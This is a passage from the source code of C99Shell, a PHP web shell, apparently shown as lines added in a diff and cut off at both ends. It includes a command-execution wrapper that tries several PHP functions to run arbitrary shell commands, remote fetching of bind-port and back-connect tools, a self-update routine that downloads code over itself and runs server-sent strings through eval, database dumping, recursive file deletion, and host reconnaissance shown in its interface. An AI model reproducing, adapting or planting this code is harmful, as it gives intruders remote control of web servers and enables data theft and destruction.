DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return FALSE;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} +} +if (!function_exists("myshellexec")) +{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +} +if (!function_exists("c99getsource")) +{ +function c99getsource($fn) +{ + global $c99sh_sourcesurl; + $array = array( + "c99sh_bindport.pl" => "c99sh_bindport_pl.txt", + "c99sh_bindport.c" => "c99sh_bindport_c.txt", + "c99sh_backconn.pl" => "c99sh_backconn_pl.txt", + "c99sh_backconn.c" => "c99sh_backconn_c.txt", + "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt", + "c99sh_datapipe.c" => "c99sh_datapipe_c.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($c99sh_sourcesurl.$name);} + else {return FALSE;} +} +} +if (!function_exists("c99sh_getupdate")) +{ +function c99sh_getupdate($update = TRUE) +{ + $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; + $data = @file_get_contents($url); + if (!$data) {return "Can't connect to update-server!";} + else + { + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") + { + $string = explode("\x01",$string); + if ($update) + { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else + { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c99shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} + else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} + else {return "Error in protocol: segmentation failed! (".$data.") ";} + } +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if (empty($nl2br)) {$nl2br = 0;} + if (empty($add_drop)) {$add_drop = TRUE;} + if (empty($file)) + { + $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; + } + if (!is_array($tabs)) {$tabs = array();} + if (empty($add_drop)) {$add_drop = TRUE;} + if (sizeof($tabs) == 0) + { + // retrive tables-list + $res = mysql_query("SHOW TABLES FROM ".$db, $sock); + if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} + } + $out = "# Dumped by C99Shell.SQL v. ".$shver." +# Home page: http://ccteam.ru +# +# Host settings: +# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." +# Date: ".date("d.m.Y H:i:s")." +# DB: \"".$db."\" +#--------------------------------------------------------- +"; + $c = count($onlytabs); + foreach($tabs as $tab) + { + if ((in_array($tab,$onlytabs)) or (!$c)) + { + if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} + // recieve query for create table structure + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); + if (!$res) {$ret["err"][] = mysql_smarterror();} + else + { + $row = mysql_fetch_row($res); + $out .= $row["1"].";\n\n"; + // recieve table variables + $res = mysql_query("SELECT * FROM `$tab`", $sock); + if (mysql_num_rows($res) > 0) + { + while ($row = mysql_fetch_assoc($res)) + { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + $out .= $sql; + } + } + } + } + } + $out .= "#---------------------------------------------------------------------------------\n\n"; + if ($file) + { + $fp = fopen($file, "w"); + if (!$fp) {$ret["err"][] = 2;} + else + { + fwrite ($fp, $out); + fclose ($fp); + } + } + if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} + return $out; +} +} +if (!function_exists("mysql_buildwhere")) +{ +function mysql_buildwhere($array,$sep=" and",$functs=array()) +{ + if (!is_array($array)) {$array = array();} + $result = ""; + foreach($array as $k=>$v) + { + $value = ""; + if (!empty($functs[$k])) {$value .= $functs[$k]."(";} + $value .= "'".addslashes($v)."'"; + if (!empty($functs[$k])) {$value .= ")";} + $result .= "`".$k."` = ".$value.$sep; + } + $result = substr($result,0,strlen($result)-strlen($sep)); + return $result; +} +} +if (!function_exists("mysql_fetch_all")) +{ +function mysql_fetch_all($query,$sock) +{ + if ($sock) {$result = mysql_query($query,$sock);} + else {$result = mysql_query($query);} + $array = array(); + while ($row = mysql_fetch_array($result)) {$array[] = $row;} + mysql_free_result($result); + return $array; +} +} +if (!function_exists("mysql_smarterror")) +{ +function mysql_smarterror($type,$sock) +{ + if ($sock) {$error = mysql_error($sock);} + else {$error = mysql_error();} + $error = htmlspecialchars($error); + return $error; +} +} +if (!function_exists("mysql_query_form")) +{ +function mysql_query_form() +{ + global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) + { + echo "<table border=0><tr><td><form name=\"c99sh_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=act value=sql><input type=hidden name=sql_act value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\">&nbsp;<input type=submit value=\"No\"></form></td>"; + if ($tbl_struct) + { + echo "<td valign=\"top\"><b>Fields:</b><br>"; + foreach ($tbl_struct as $field) {$name = $field["Field"]; echo " <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";} + echo "</td></tr></table>"; + } + } + if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} +} +} +if (!function_exists("mysql_create_db")) +{ +function mysql_create_db($db,$sock="") +{ + $sql = "CREATE DATABASE `".addslashes($db)."`;"; + if ($sock) {return mysql_query($sql,$sock);} + else {return mysql_query($sql);} +} +} +if (!function_exists("mysql_query_parse")) +{ +function mysql_query_parse($query) +{ + $query = trim($query); + $arr = explode (" ",$query); + /*array array() + { + "METHOD"=>array(output_type), + "METHOD1"... + ... + } + if output_type == 0, no output, + if output_type == 1, no output if no error + if output_type == 2, output without control-buttons + if output_type == 3, output with control-buttons + */ + $types = array( + "SELECT"=>array(3,1), + "SHOW"=>array(2,1), + "DELETE"=>array(1), + "DROP"=>array(1) + ); + $result = array(); + $op = strtoupper($arr[0]); + if (is_array($types[$op])) + { + $result["propertions"] = $types[$op]; + $result["query"] = $query; + if ($types[$op] == 2) + { + foreach($arr as $k=>$v) + { + if (strtoupper($v) == "LIMIT") + { + $result["limit"] = $arr[$k+1]; + $result["limit"] = explode(",",$result["limit"]); + if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} + unset($arr[$k],$arr[$k+1]); + } + } + } + } + else {return FALSE;} +} +} +if (!function_exists("c99fsearch")) +{ +function c99fsearch($d) +{ + global $found; + global $found_d; + global $found_f; + global $search_i_f; + global $search_i_d; + global $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) + { + if($f != "." && $f != "..") + { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) + { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {c99fsearch($d.$f);} + } + else + { + $search_i_f++; + if ($bool) + { + if (!empty($a["text"])) + { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +} +if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} +//Sending headers +@ob_start(); +@ob_implicit_flush(0); +function onphpshutdown() +{ + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) + { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function c99shexit() +{ + onphpshutdown(); + exit; +} +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", FALSE); +header("Pragma: no-cache"); +if (empty($tmpdir)) +{ + $tmpdir = ini_get("upload_tmp_dir"); + if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} +} +$tmpdir = realpath($tmpdir); +$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); +if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} +if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} +else {$tmpdir_logs = realpath($tmpdir_logs);} +if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") +{ + $safemode = TRUE; + $hsafemode = "<font color=red>ON (secure)</font>"; +} +else {$safemode = FALSE; $hsafemode = "<font color=green>OFF (not secure)</font>";} +$v = @ini_get("open_basedir"); +if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "<font color=red>".$v."</font>";} +else {$openbasedir = FALSE; $hopenbasedir = "<font color=green>OFF (not secure)</font>";} +$sort = htmlspecialchars($sort); +if (empty($sort)) {$sort = $sort_default;} +$sort[1] = strtolower($sort[1]); +$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); +if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} +$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."act=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE)); +@ini_set("highlight.bg",$highlight_bg); //FFFFFF +@ini_set("highlight.comment",$highlight_comment); //#FF8000 +@ini_set("highlight.default",$highlight_default); //#0000BB +@ini_set("highlight.html",$highlight_html); //#000000 +@ini_set("highlight.keyword",$highlight_keyword); //#007700 +@ini_set("highlight.string",$highlight_string); //#DD0000 +if (!is_array($actbox)) {$actbox = array();} +$dspact = $act = htmlspecialchars($act); +$disp_fullpath = $ls_arr = $notls = null; +$ud = urlencode($d); +?><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><meta http-equiv="Content-Language" content="en-us"><title><?php echo getenv("HTTP_HOST"); ?> - phpshell</title><STYLE>TD { FONT-SIZE: 8pt; COLOR: #ebebeb; FONT-FAMILY: verdana;}BODY { scrollbar-face-color: #800000; scrollbar-shadow-color: #101010; scrollbar-highlight-color: #101010; scrollbar-3dlight-color: #101010; scrollbar-darkshadow-color: #101010; scrollbar-track-color: #101010; scrollbar-arrow-color: #101010; font-family: Verdana;}TD.header { FONT-WEIGHT: normal; FONT-SIZE: 10pt; BACKGROUND: #7d7474; COLOR: white; FONT-FAMILY: verdana;}A { FONT-WEIGHT: normal; COLOR: #dadada; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; FONT-FAMILY: verdana; TEXT-DECORATION: none;}A.Links { COLOR: #ffffff; TEXT-DECORATION: none;}A.Links:unknown { FONT-WEIGHT: normal; COLOR: #ffffff; TEXT-DECORATION: none;}A:hover { COLOR: #ffffff; TEXT-DECORATION: underline;}.skin0{position:absolute; width:200px; border:2px solid black; background-color:menu; font-family:Verdana; line-height:20px; cursor:default; visibility:hidden;;}.skin1{cursor: default; font: menutext; position: absolute; width: 145px; background-color: menu; border: 1 solid buttonface;visibility:hidden; border: 2 outset buttonhighlight; font-family: Verdana,Geneva, Arial; font-size: 10px; color: black;}.menuitems{padding-left:15px; padding-right:10px;;}input{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}textarea{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) +{ + $t = ""; + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; + $i++; +} +echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ + $wd = TRUE; + $wdt = "<font color=green>[ ok ]</font>"; + echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else +{ + $wd = FALSE; + $wdt = "<font color=red>[ Read-Only ]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === FALSE) {$free = 0;} + if ($total === FALSE) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; +} +echo "<br>"; +$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=green>".$letter."</font>";} + $letters .= " ]</a> "; + } + } + if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +} +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +echo "</p></td></tr></table><br>"; +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} +echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo "<b>SQL Manager:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } + else + { + //Start left panel + if (!empty($sql_db)) + { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>&nbsp;<a 